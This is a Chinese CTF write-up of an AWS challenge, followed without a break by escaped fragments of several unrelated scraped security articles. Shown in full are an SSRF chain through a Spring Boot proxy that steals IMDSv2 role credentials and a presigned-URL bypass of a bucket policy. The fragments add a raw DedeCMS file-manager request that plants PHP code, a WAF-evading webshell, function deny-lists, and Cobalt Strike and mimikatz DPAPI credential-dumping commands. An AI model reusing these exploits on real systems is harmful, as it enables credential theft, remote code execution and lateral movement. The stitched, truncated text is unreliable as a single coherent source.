背景 经过几周的利用和权限提升,你获得了访问你希望是最终服务器的权限,然后可以使用它从 S3 存储桶中提取秘密旗帜。 但这不会容易。目标使用 AWS 数据边界来限制对存储桶内容的访问。 `You've discovered a Spring Boot Actuator application running on AWS: curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com {"status":"UP"} 解决过程 Spring Boot Actuator 泄露 首先我们分析一下,flag 肯定是在存储桶中,因为这里说了已经对我们的桶进行了限制,所以匿名访问的方法可能没有作用,不过这里还是尝试一下,首先匿名访问需要获取存储桶的名称,因为题目已经告诉了 Spring Boot Actuator明显我们可以查看 env 尝试列出 user@monthly-challenge:~$ aws s3 ls s3://challenge01-470f711/ --no-sign-request An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied 不行,没有权限,所以我们必须去寻找凭证 我第一想法就是元数据 但是没有反应 curl http://169.254.169.254/latest/meta-data 估计这个 shell 不是一个 EC2 的 然后就是寻找凭据了,可以使用一些工具,比如 truffleHog 然后简单找了一下 user@monthly-challenge:/$ grep -ri --exclude-dir={/proc,/sys,/dev,/run,/snap,/var/lib/dock er} 'Secret Access Key' / /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/datazone/2018-05-10/service-2.json:          "documentation":"<p>The secret access key of a connection.</p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/datazone/2018-05-10/service-2.json:          "documentation":"<p>The secret access key of the environment credentials.</p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/s3control/2018-08-20/service-2.json:          "documentation":"<p>The secret access key of the Amazon Web Services STS temporary credential that S3 Access Grants vends to grantees and client applications. </p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/appflow/2020-08-23/service-2.json:          "documentation":"<p> The Secret Access Key portion of the credentials. </p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/appflow/2020-08-23/service-2.json:          "documentation":"<p> The Secret Access Key portion of the credentials. </p>" /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/opsworks/2013-02-18/service-2.json:          "documentation":"<p>When included in a request, the parameter depends on the repository type.</p> <ul> <li> <p>For Amazon S3 bundles, set <code>Password</code> to the appropriate IAM secret access ke /usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/s3/2006-03-01/service-2.json:      "documentation":"<p>Creates a copy of an object that is already stored in Amazon S3.</p> <note> <p>You can store individual objects of up to 5 TB in Amazon S3. You create a copy of your object up to 5 GB in si 找了也没有,常规的收集都没有发现,然后只能根据提示,继续在 spring 这个面努力了 然后去批量爆破一波查看是否有可利用的信息 然后又把 mapping 中的路由全部提取出来,看到了 proxy 路由 这个应该就是拿来访问元数据的了 元数据绕过 一般都有 ssrf 漏洞 user@monthly-challenge:/$ curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/ HTTP error: 401 Unauthorized 可以看到至少是可以成功访问元数据了,只不过没有权限,因为之后采用了 IMDSv2 我们首先获取 token,使用 PUT 请求 user@monthly-challenge:/$ curl -X PUT \  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \  "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/api/token" AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q== 可以看到获取到了 Token,我们尝试使用 token 来访问元数据 user@monthly-challenge:/$ curl -H "X-aws: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==" "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/" ami-id ami-launch-index ami-manifest-path block-device-mapping/ events/ hibernation/ hostname iam/ identity-credentials/ instance-action instance-id instance-life-cycle instance-type local-hostname local-ipv4 mac metrics/ network/ placement/ profile public-hostname public-ipv4 public-keys/ reservation-id security-groups services/ system 可以了,我们访问凭证信息 user@monthly-challenge:/$ curl -H "X-aws-ec2-metadata-token: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==" \ "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" challenge01-5592368 然后使用它的凭证 user@monthly-challenge:/$ curl -H "X-aws-ec2-metadata-token: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==" "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/challenge01-5592368" {  "Code" : "Success",  "LastUpdated" : "2025-07-10T13:26:52Z",  "Type" : "AWS-HMAC",  "AccessKeyId" : "ASIARK***WELX36",  "SecretAccessKey" : "PsrjWr+AANNHBG3n***NmUHVglRE+BV",  "Token" : "IQoJb3JpZ2luX2VjELb//////////wEaCXVzLWVhc3QtMSJHMEUCIC6AH+4pBi+UXSj7Xih2aQvR3LmiwIQ8TeL+O6Gv2iotAiEAi6CjgMDpky/IC6HpBwzG52L/ED+fizjGUTaX/5YP4KcqwQUIv///////////ARAAGgwwOTIyOTc4NTEzNzQiDGpyJeQycy6B9rX9XiqVBYrNoqF+yWFZz/IuhF6PqC8iDwPJ9uFspInzbcKaJ86Qx1issOwp+JUdXyIUaYjLrJhd+klRXKoSNxR/K/F  "Expiration" : "2025-07-10T19:47:29Z" } 有了这些我们就可以配置了首先我们进行配置 root@hcss-ecs-0d0e:~# aws configure set aws_access_key_id ASIARK7LBO**EXWELX36 --profile challenge01 root@hcss-ecs-0d0e:~# aws configure set aws_secret_access_key PsrjWr+AANNHBG3ngmwQXdCdc******mUHVglRE+BV --profile challenge01 root@hcss-ecs-0d0e:~# aws configure set aws_session_token IQoJb3JpZ2luX2VjELb//////////wEaCXVzLWVhc3QtMSJHMEUCIC6AH+4pBi+UXSj7Xih2aQvR3LmiwIQ8TeL+O6Gv2iotAiEAi6CjgMDpky/IC6HpBwzG52L/ED+fizjGUTaX/5YP4KcqwQUIv///////////ARAAGgwwOTIyOTc4NTEzNzQiDGpyJeQycy6B9rX9XiqVBYrNoqF+yWFZz/IuhF6PqC8iDwPJ9uFspInzbc 之后我们就会有这个用户的权限了 目标文件位置获取 我们首先查一下这个用户有的 bucket 的权限 首先获取当前用户信息 root@hcss-ecs-0d0e:~# aws sts get-caller-identity --profile challenge01 {    "UserId": "AROARK7LBOHXDP2J2E3DV:i-0bfc4291dd0acd279",    "Account": "092297851374",    "Arn": "arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279" } 然后我们查看对应的策略 root@hcss-ecs-0d0e:~# aws iam simulate-principal-policy \  --policy-source-arn arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 \  --action-names s3:ListBucket s3:GetObject s3:PutObject s3:DeleteObject s3:ListAllMyBuckets \  --profile challenge01 An error occurred (AccessDenied) when calling the SimulatePrincipalPolicy operation: User: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 is not authorized to perform: iam:SimulatePrincipalPolicy on resource: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/ root@hcss-ecs-0d0e:~# 可惜这个用户没有权限,我们直接列 root@hcss-ecs-0d0e:~# aws s3 ls --profile challenge01 An error occurred (AccessDenied) when calling the ListBuckets operation: User: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 is not authorized to perform: s3:ListAllMyBuckets because no identity-based policy allows the s3:ListAllMyBuckets action 没有列出桶的权限,不过我们知道桶的名称 root@hcss-ecs-0d0e:~# aws s3 ls s3://challenge01-470f711/ --recursive --profile challenge01 2025-06-19 01:15:24         29 hello.txt 2025-06-17 06:01:49         51 private/flag.txt 读取文件绕过 尝试读取的时候可惜 root@hcss-ecs-0d0e:~# aws s3 cp s3://challenge01-470f711/private/flag.txt - --profile challenge01 download failed: s3://challenge01-470f711/private/flag.txt to - An error occurred (403) when calling the HeadObject operation: Forbidden 没有读的权限 我们还是得查查存储桶的策略 root@hcss-ecs-0d0e:~# aws s3api get-bucket-policy --bucket challenge01-470f711 --profile challenge01 {    "Policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Deny\",\"Principal\":\"*\",\"Action\":\"s3:GetObject\",\"Resource\":\"arn:aws:s3:::challenge01-470f711/private/*\",\"Condition\":{\"StringNotEquals\":{\"aws:SourceVpce\":\"vpce-0dfd8b6aa1642a057\"}}}]}" } 限制只有指定 VPC 端点(VPCe) 的请求才可以访问,否则即使有权限也会被拒绝 怎么办呢 聪明的 GPT 给出了答案 也让我想起了 proxy root@hcss-ecs-0d0e:~# curl "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://s3.amazon aws.com/challenge01-470f711/private/flag.txt" HTTP error: 403 Forbiddenroot 但是结果是还是被阻止了 这里可能 proxy 不在 VPC,不过我们可以验证一下 但是刚刚都读取成功了,大概率是在的 没办法,只能寻找好朋友的帮助了 首先需要了解一下 SigV4 签名,在 AWS 中访问私有资源(如 S3 对象)时,AWS 要求你的请求是已签名的 参考https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/userguide/ShareObjectPreSignedURL.html 默认情况下,所有 Amazon S3 对象都是私有的,只有对象拥有者才具有访问它们的权限。但是,对象拥有者可以通过创建预签名 URL 与其他人共享对象。预签名 URL 使用安全凭证来授予下载对象的限时权限。可以在浏览器中输入此 URL,或者程序使用此 URL 来下载对象。预签名 URL 使用的凭证是生成该 URL 的 AWS 用户的凭证。 我们需要使用预签名 https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/userguide/using-presigned-url.html创建预签名 URL 时,必须提供您的安全凭证,然后指定以下内容: 一个 Amazon S3 存储桶 对象键(如果将在您的 Amazon S3 存储桶中下载此对象,则一旦上传,这就是要上传的文件名) HTTP 方法(GET 用于下载对象、PUT 用于上传、HEAD 用于读取对象元数据等) 过期时间间隔 按照这个我们直接运行命令生成如下的签名 root@hcss-ecs-0d0e:~# aws s3 presign s3://challenge01-470f711/private/flag.txt --profile challenge01 --expires-in 3600 https://challenge01-470f711.s3.amazonaws.com/private/flag.txt?AWSAccessKeyId=ASIARK7LBOHXEXWELX36&Signature=WT7zPvNKLF6zr%2Fi4%2FGvqpJHoZzs%3D&x-amz-security-token=IQoJb3JpZ2luX2VjELb%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIC6AH%2B4pBi%2BUXSj7Xih2aQvR3LmiwIQ8TeL%2BO6Gv2iotAiEAi6CjgMDpky 然后我们带着这个签名 但是内容一直被截断,很烦,我直接 URL 全编码后再次去访问 root@hcss-ecs-0d0e:~# curl "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=%68%74%74%70%73%3a%2f%2f%63%68%61%6c%6c%65%6e%67%65%30%31%2d%34%37%30%66%37%31%31%2e%73%33%2e%61%6d%61%7a%6f%6e%61%77%73%2e%63%6f%6d%2f%70%72%69%76%61%74%65%2f%66%6c%61%67%2e%74%78%74%3f%41%57%53%41%63%63% The flag is: ******** 成功 总结 总的来说,真的是很有实战意义的一次挑战,感觉整个过程前因后果是非常连贯的 获取桶名称-> 不能匿名访问->获取配置信息- 元数据 不能直接访问-走代理 mapping 泄露 proxy 元数据绕过 IMDSv2 安全机制 获取用户信息,查看权限 列取文件位置 vpc 限制,来联想 proxy 403,考虑预签名 URL 授予 行云流水
)!== FALSE)\r\n       {\r\n            $fail = TRUE;\r\n            if(preg_match(\"#^create table#i\",$clean)) $fail = FALSE;\r\n            $error=\"unusual character\";\r\n       }\r\n \r\n        \u002F\u002F老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它\r\n        if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)\r\n       {\r\n            $fail = TRUE;\r\n            $error=\"union detect\";\r\n       }\r\n \r\n        \u002F\u002F发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们\r\n        elseif (strpos($clean, '\u002F*') \u003E 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)\r\n       {\r\n            $fail = TRUE;\r\n            $error=\"comment detect\";\r\n       }\r\n \r\n        \u002F\u002F这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库\r\n        elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)\r\n       {\r\n            $fail = TRUE;\r\n            $error=\"slown down detect\";\r\n       }\r\n        elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)\r\n       {\r\n            $fail = TRUE;\r\n            $error=\"slown down detect\";\r\n       }\r\n        elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)\r\n       {\r\n            $fail = TRUE;\r\n            $error=\"file fun detect\";\r\n       }\r\n        elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\\s+outfile($|[^[a-z])~s', $clean) != 0)\r\n       {\r\n            $fail = TRUE;\r\n            $error=\"file fun detect\";\r\n       }\r\n \r\n        \u002F\u002F老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息\r\n        elseif (preg_match('~\\([^)]*?select~s', $clean) != 0)\r\n       {\r\n            $fail = TRUE;\r\n            $error=\"sub select detect\";\r\n       }\r\n        if (!empty($fail))\r\n       {\r\n            fputs(fopen($log_file,'a+'),\"$userIP||$getUrl||$db_string||$error\\r\\n\");\r\n            exit(\"\u003Cfont size='5' color='red'\u003ESafe Alert: Request Error step 2!\u003C\u002Ffont\u003E\");\r\n       }\r\n        else\r\n       {\r\n            return $db_string;\r\n       }\r\n   }\r\n}\r\n\r\n案例 4\r\n\r\n基于这个文件管理,我们还是在这个类,肯定还有编辑文件的说法\r\n\r\n我们来到对应的路由去查看\r\n\r\n果然找到了\r\n\r\n\u002F\u002F文件编辑\r\n \r\n\u002F*---------------\r\nfunction __saveEdit();\r\n----------------*\u002F\r\nelse if($fmdo==\"edit\")\r\n{\r\n    csrf_check();\r\n    $filename = str_replace(\"..\", \"\", $filename);\r\n    $file = \"$cfg_basedir$activepath\u002F$filename\";\r\n    $str = stripslashes($str);\r\n    $fp = fopen($file, \"w\");\r\n    fputs($fp, $str);\r\n    fclose($fp);\r\n \r\n    if ($fp === false) {\r\n        ShowMsg(\"保存失败!请检查文件是否可写\", -1);\r\n        exit();\r\n   }\r\n \r\n    if(empty($backurl))\r\n   {\r\n        ShowMsg(\"成功保存一个文件!\",\"file_manage_main.php?activepath=$activepath\");\r\n   }\r\n    else\r\n   {\r\n        ShowMsg(\"成功保存文件!\",$backurl);\r\n   }\r\n    exit();\r\n}\r\n\r\n一样的方法\r\n\r\n文件名是 filename,内容是 str\r\n\r\n我们访问对应的路由\r\n\r\n发现是一个文件管理器,而且可以编辑文件,那不是随便 getshell 了吗\r\n\r\nPOST \u002Fdede\u002Ffile_manage_control.php HTTP\u002F1.1\r\nHost: dedecms:5135\r\nContent-Length: 130\r\nCache-Control: max-age=0\r\nOrigin: http:\u002F\u002Fdedecms:5135\r\nContent-Type: application\u002Fx-www-form-urlencoded\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F137.0.0.0 Safari\u002F537.36\r\nAccept: text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,image\u002Favif,image\u002Fwebp,image\u002Fapng,*\u002F*;q=0.8,application\u002Fsigned-exchange;v=b3;q=0.7\r\nReferer: http:\u002F\u002Fdedecms:5135\u002Fdede\u002Ffile_manage_view.php?fmdo=edit&filename=index.php&activepath=\r\nAccept-Encoding: gzip, deflate, br\r\nAccept-Language: zh-CN,zh;q=0.9\r\nCookie: menuitems=1_1%2C2_1%2C3_1; XDEBUG_SESSION=PHPSTORM; isg=BC0t-H7JNkY1K9KqstDirHGTPMmnimFclPBmVm8zhEQz5k2YN9gMLle10DoA_XkU; tfstk=gsmxOxa7tQAceJrHmnTljVp-sV9kxcH2mjkCj5b_cbettXgmmxVDPgwgQZNblAM1BArb7qVgi5EtQXpktHxn3xra5BAHx21QgMEa1hq6ruMWmMYktHxnhxrafBAnm2uO4We_ftsb5LE7K7wfcfNbP_wLLlNs1fZ7FRwa\nConnection: keep-alive\r\n \r\nfmdo=edit&backurl=&token=&activepath=&filename=index.php&str=%3C%3Fphp%0D%0Asystem%28%27whoami%27%29%3B&B1=++%E4%BF%9D+%E5%AD%98++\r\n\r\n但是发现\r\n\r\n所以准备调试分析一手\r\n\r\n$str = preg_replace(\"#(\u002F\\*)[\\s\\S]*(\\*\u002F)#i\", '', $str);\r\n \r\nglobal $cfg_disable_funs;\r\n$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';\r\n$cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders';\r\nforeach (explode(\",\", $cfg_disable_funs) as $value) {\r\n    $value = str_replace(\" \", \"\", $value);\r\n    if(!empty($value) && preg_match(\"#[^a-z]+['\\\"]*{$value}['\\\"]*[\\s]*[([{']#i\", \" {$str}\") == TRUE) {\r\n        $str = dede_htmlspecialchars($str);\r\n        die(\"DedeCMS提示:当前页面中存在恶意代码!\u003Cpre\u003E{$str}\u003C\u002Fpre\u003E\");\r\n   }\r\n}\r\n \r\nif(preg_match(\"#^[\\s\\S]+\u003C\\?(php|=)?[\\s]+#i\", \" {$str}\") == TRUE) {\r\n    if(preg_match(\"#[$][_0-9a-z]+[\\s]*[(][\\s\\S]*[)][\\s]*[;]#iU\", \" {$str}\") == TRUE) {\r\n        $str = dede_htmlspecialchars($str);\r\n        die(\"DedeCMS提示:当前页面中存在恶意代码!\u003Cpre\u003E{$str}\u003C\u002Fpre\u003E\");\r\n   }\r\n    if(preg_match(\"#[@][$][_0-9a-z]+[\\s]*[(][\\s\\S]*[)]#iU\", \" {$str}\") == TRUE) {\r\n        $str = dede_htmlspecialchars($str);\r\n        die(\"DedeCMS提示:当前页面中存在恶意代码!\u003Cpre\u003E{$str}\u003C\u002Fpre\u003E\");\r\n   }\r\n    if(preg_match(\"#[`][\\s\\S]*[`]#i\", \" {$str}\") == TRUE) {\r\n        $str = dede_htmlspecialchars($str);\r\n        die(\"DedeCMS提示:当前页面中存在恶意代码!\u003Cpre\u003E{$str}\u003C\u002Fpre\u003E\");\r\n   }\r\n}\r\n\r\n发现原因是因为有 waf\r\n\r\n直接交给一个聪明朋友\r\n\r\n移除多行注释\r\n\r\n$str = preg_replace(\"#(\u002F\\*)[\\s\\S]*(\\*\u002F)#i\", '', $str);\r\n\r\n防止攻击者把危险代码写在注释中来绕过检测。\r\n\r\n危险函数与变量过滤\r\n\r\n$cfg_disable_funs = 'eval,assert,exec,...,$_GET,$_POST,...';\r\n\r\n匹配并拦截使用了以下内容的代码:\r\n\r\n系统函数:eval, exec, system, passthru, popen, assert, shell_exec 等\r\n\r\n全局变量:`$GET, $POST, $REQUEST, $COOKIE, $_FILES, GLOBALS\r\n\r\n动态函数调用:call_user_func, create_function, 等\r\n\r\n一旦匹配:直接终止执行并提示危险代码。\r\n\r\nPHP 标签与代码执行行为检测\r\n\r\n\r\n感觉过滤还是挺严格的\r\n\r\n绕过 waf 到 RCE\r\n\r\n直接掏出上次的 webshell,稍微修改一下就 ok 了\r\n\r\n\u003C?php\r\n \r\nclass User {\r\n    private $username;\r\n    private $password;\r\n \r\n    public function __construct($username, $password) {\r\n        $this-\u003Eusername = $username;\r\n        $this-\u003Epassword = $password;\r\n   }\r\n \r\n    public function __debugInfo() {\r\n        $xmlData = base64_decode(\"PGJvb2tzPgogICAgPHN5c3RlbT5jYWxjPC9zeXN0ZW0+CjwvYm9va3M+\");\r\n        $xmlElement = new SimpleXMLElement($xmlData);\r\n        $namespaces = $xmlElement-\u003EgetNamespaces(TRUE);\r\n        $xmlElement-\u003Erewind();\r\n        var_dump($xmlElement-\u003Ekey());\r\n        $result = $xmlElement-\u003Expath('\u002Fbooks\u002Fsystem');\r\n        var_dump (($result[0]-\u003E__toString()));\r\n       ($xmlElement-\u003Ekey())($result[0]-\u003E__toString());\r\n        return [\r\n            'username' =\u003E $this-\u003Eusername,\r\n            'info' =\u003E '这是调试时返回的信息',\r\n            'timestamp' =\u003E time()\r\n       ];\r\n   }\r\n}\r\n \r\n$user = new User('alice', 'secret123');\r\nvar_dump($user);\r\n \r\n\r\n原理上次大概讲过了,就是自动触发\r\n\r\n详情可以看到蚁景网络安全这个公众号\r\n\r\nhttps:\u002F\u002Fmp.weixin.qq.com\u002Fs\u002FWDWBwPQuXroBRpBPxkHOcg感谢给的平台\r\n\r\n然后我们访问首页\r\n\r\n成功弹出计算器",pic:"https:\u002F\u002Fwww.yijinglab.com\u002Fguide-img\u002Fd9634e2f-3b66-42e7-8279-c0877cdd70e5\u002Fc35cb1c5-7010-4ded-b45a-da17a7481af0.png",openTime:"2025-08-15T16:57:45+08:00",viewsNum:963},{id:"20250812172611",type:a,title:"记一次内网横向破解管理员密码",abstract:"前言\r\n\r\n本文章所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。\r\n\r\n外网打点\r\n\r\n首先一波信息收集过后,把最后收集的到的 url 拿到 httpx 去做一下存活检测\r\n\r\nhttpx 测活一下\r\n\r\n测完活之后,搞波指纹\r\n\r\n指纹到手,这边一般我都是拿高危指纹去漏扫一下\r\n\r\n然后找到了一个站点\r\n\r\nGETshell\r\n\r\n之后找到了一个站点\r\n\r\n直接访问如下,相信这种情况很常见,别急,其实还有利用空间,然后我对它目录扫描了一波\r\n\r\n发现竟然有\r\n\r\n\u002Fapi\u002Factuator 泄露,这个利用的手法很多\r\n\r\n先遍历访问一下常见的接口\r\n\r\n但是这个点接口权限不够,比如常见的 env 和 heapdump 访问不到\r\n\r\n决定溜了的时候发现 bp 我的 dns 平台传来了动静\r\n\r\n竟然有 log4j\r\n\r\n呜呜呜,网上一堆工具,打 log4j 都到完全自动化的地步了\r\n\r\nCS 生成一个命令,上线到 cs 上,因为不好传文件,就执行命令\r\n\r\n07\u002F23 15:13:23 beacon\u003E shell whoami\r\n07\u002F23 15:13:23 [*] Tasked beacon to run: whoami\r\n07\u002F23 15:13:23 [+] host called home, sent: 37 bytes\r\n07\u002F23 15:13:23 [+] received output:\r\nxxxxxx\\administrator\r\n \r\n\r\n内网启动\r\n\r\n内网信息收集\r\n\r\n首先简单看下内网的网段\r\n\r\n找到了内网之后我们就需要查看存活情况了,我的 fscan 没有免杀,这里只能随便看看了\r\n\r\n随便 arp-a 看了一下\r\n\r\n发现 c 段的主机还是很多的\r\n\r\nsysteminfo\r\n\r\nwin2012 的用户,不过已经是高权限了,也没有必要提权了\r\n\r\n然后我发现在域的时候我就先不管了,先找找凭据\r\n\r\n凭据收集\r\n\r\n这里没有抓取到密码\r\n\r\n然后自己尝试了半天,大师傅提示了一些东西,我觉得这个思路也不错,下面讲讲是如何突破的\r\n\r\n突破\r\n\r\n当时因为还拿下了一台主机,而且是同一个内网的\r\n\r\n查询连接信息的时候查到了之前的那个内网,我就想着可以尝试使用 DPAPI\r\n\r\nDPAPI 是 Windows 系统用来加密敏感数据(比如用户保存的密码、浏览器凭据、无线密码等)的一个加密机制\r\n\r\nMasterKey 就是一串“主密钥”,是每个用户登录 Windows 后系统自动为其生成的,用来加密和解密数据的“钥匙”\r\n\r\n流程\r\n\r\n[ 用户口令 → 派生 Key1 ]       ← 用来加密 MasterKey\r\n       ↓\r\n[ MasterKey ]               ← 用来加密 DPAPI 中的密码等敏感数据\r\n       ↓\r\n[ 某个应用的数据(如 WiFi 密码) ]GUID     : {3cef9fc0-4319-42da-80ff-9e74470a9f7c}\r\nTime     : 2025\u002F2\u002F4 0:23:08\r\nMasterKey : aed5fc1156359826c231e1079996c769cf1ee...\r\nsha1(key) : deb68bc117a3323d424a7d21a86173438e2419f7\r\n\r\n\r\nMaster Key Files\r\n\r\n存放密钥的文件则被称之为 MasterKeyFiles,其路径一般为 %APPDATA%\u002FMicrosoft\u002FProtect\u002F%SID%。而这个文件中的密钥实际上是随机 64 位字节码经过用户密码等信息的加密后的密文,所以只需要有用户的明文密码\u002FNtlm\u002FSha1 就可以还原了。\r\n\r\n当然除了 GUID 命名的文件之外,还有 Preferred,显示当前系统正在使用的 MasterKey file 及其过期时间\r\n\r\n我这里去寻找一下 amdin 的凭证\r\n\r\n直接拿最新的那个\r\n\r\n然后去获取 guid\r\n\r\n之后通过这个 guid,我们去寻找 masterkey\r\n\r\n首先需要把全部的 masterkey 找出来\r\n\r\nmimikatz sekurlsa::dpapi\r\n\r\nsekurlsa::dpapi 会从 lsass 中提取当前用户登录会话的 DPAPI MasterKey 解密材料(如密码、hash、SID 等),用于离线解密各种 DPAPI 加密的凭据文件\r\n\r\n因为内容很多,直接把结果复制到记事本\r\n\r\n然后搜索一下\r\n\r\n太好了,找到了,然后我们直接去破解\r\n\r\nmimikatz dpapi::cred\r\n\u002Fin:C:\\Users\\Administrator\\appdata\\local\\microsoft\\credentials\\xxxxx \u002Fmasterkey:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\r\n\r\n直接获取到了管理员的密码\r\n\r\n而且这个密码应该是集团的通用密码,后续发现这个这个内网网段的管理员都是这个密码\r\n\r\n远程其他网段的桌面\r\n\r\n利用这个密码,横向了大概有 9 台主机",pic:"https:\u002F\u002Fwww.yijinglab.com\u002Fguide-img\u002Fd9634e2f-3b66-42e7-8279-c0877cdd70e5\u002F3f88abf1-2ae9-4f81-9fd3-a2012f0344be.png",openTime:"2025-08-12T17:26:24+08:00",viewsNum:1242},{id:"20250807101148",type:a,title:"一次暗链应急响应",abstract:"0x01前言\r\n\r\n 一个从20几℃的大热天冬天天气变成寒冷潮湿阴天的天气,正躲在公司瑟瑟发抖的我,突然被拉进了一个应急群。某客户那边的站点,在打开某些特定页面的时候,会出现买虚拟货币的宣传视频,很明显又是黑灰产搞的鬼。目前已前场采集过来的信息如下:\r\n\r\n\r\n在打开特定页面才会触发;\r\n\r\n\r\n在特定页面也无法准确复现,尝试好一会才能复现两次;\r\n\r\n\r\n前场同事使用的是iOS,然后其他人使用Android也可以复现;\r\n\r\n\r\n我使用浏览器和微信浏览器打开,难以复现;\r\n\r\n\r\n在对应服务器上未找到其音频文件;\r\n\r\n\r\n目前使用特定运营商网络可以复现;\r\n\r\n\r\n0x02分析\r\n\r\n在获取目前这些信息后,有几个猜想思路:\r\n\r\n\r\n在对应服务器没找到音频文件,这个其实我是可以猜到的,一般来说,比较可能的原因是站点源码被更改了,去请求外链在客户浏览器\u002F移动端进行播放;\r\n\r\n\r\n接下来是分析恶意代码存在哪里。从目前浏览器无法复现来看,猜测可能代码存在客户端上,或者本身音频文件就在客户端资源包里面。如果真是这样,那就得逆向分析APP,这就比较麻烦了。\r\n\r\n\r\n但是其实第二条的实现是比较难的。想达到篡改APP的情况,还是官网下载的APP,难度太大了。哪怕APP没有做签名防篡改,想直接把官网的APP下载链接篡改,这个难度是最大的。没事,实践出真知!使用burp进行抓包,使用浏览器打开问题链接:\r\n\r\n 突然出现的提示,让我突然虎躯一震。有没有一种可能?浏览器打开之所以无法触发,是因为仅在移动端上才能生效。通过F12的功能,可以设置UA头为移动端,可以模拟手机发送请求:\r\n\r\n 果然。在burp里面发现了奇怪的mp4文件链接。\r\n\r\n 可以看到,被腾讯云拦截了。这可能也是复现为什么不好复现的原因。而在特定网络下,可以访问到这个,可能就是因为某些运营商可能没有做拦截。为了和前场同事确认是否为该文件,我使用了点技术手段,获取到此视频文件,发送给他。经确认,可以判断,即为该文件导致的。\r\n\r\n那么接下来就是分析js的调用关系,查看怎么通过客户站点到该站点的。\r\n\r\n0x03溯源\r\n\r\n由于该请求的referer头是本身,那我们难以找到是哪个页面请求的。只能通过搜索查看:\r\n\r\n 成功在www.unionxxxx.com里面发现了该链接请求,且里面包含很多huobi的黑产链接。进一步分析链接是怎么请求来。后续在www.unionxxxx.com\u002Fddd.html里面找到恶意链接。\r\n\r\n 那现在最后的问题就是找到www.unionxxxx.com\u002Fddd.html与客户站点的调用关系。这也是最难的一步。为什么呢?因为不管是通过referer自动还是全局搜,都找不到www.unionxxxx.com\u002Fddd.html链接。搜索unionxxxx字段,也没有找到其他链接。\r\n\r\n最后实在没办法了,只能通过抓包,一步一步查看请求顺序。最后终于发现疑似链接:https:\u002F\u002Fcdn.xxxxcdn.net\u002Fajax\u002Flibs\u002Fjquery\u002F3.6.0\u002Fjquery.js。分析该jquery文件,并未发现存在问题的代码,但是当我翻到最后面时,发现了问题:\r\n\r\n 图片红框部分,明显与众不同。事出反常必有妖!混淆加密的太离谱了,可读性实在是太差了。但是看着看着,好像发现了熟悉的东西。\r\n\r\n 这不就是那个恶意链接吗?当然这只是猜想,最后看下能不能得解开这些加密。试了网上的好多个js解密,没一个能用的。但是又在js里面看到了一个链接:\r\n\r\n 访问jsjiami.com,尝试解密:\r\n\r\n 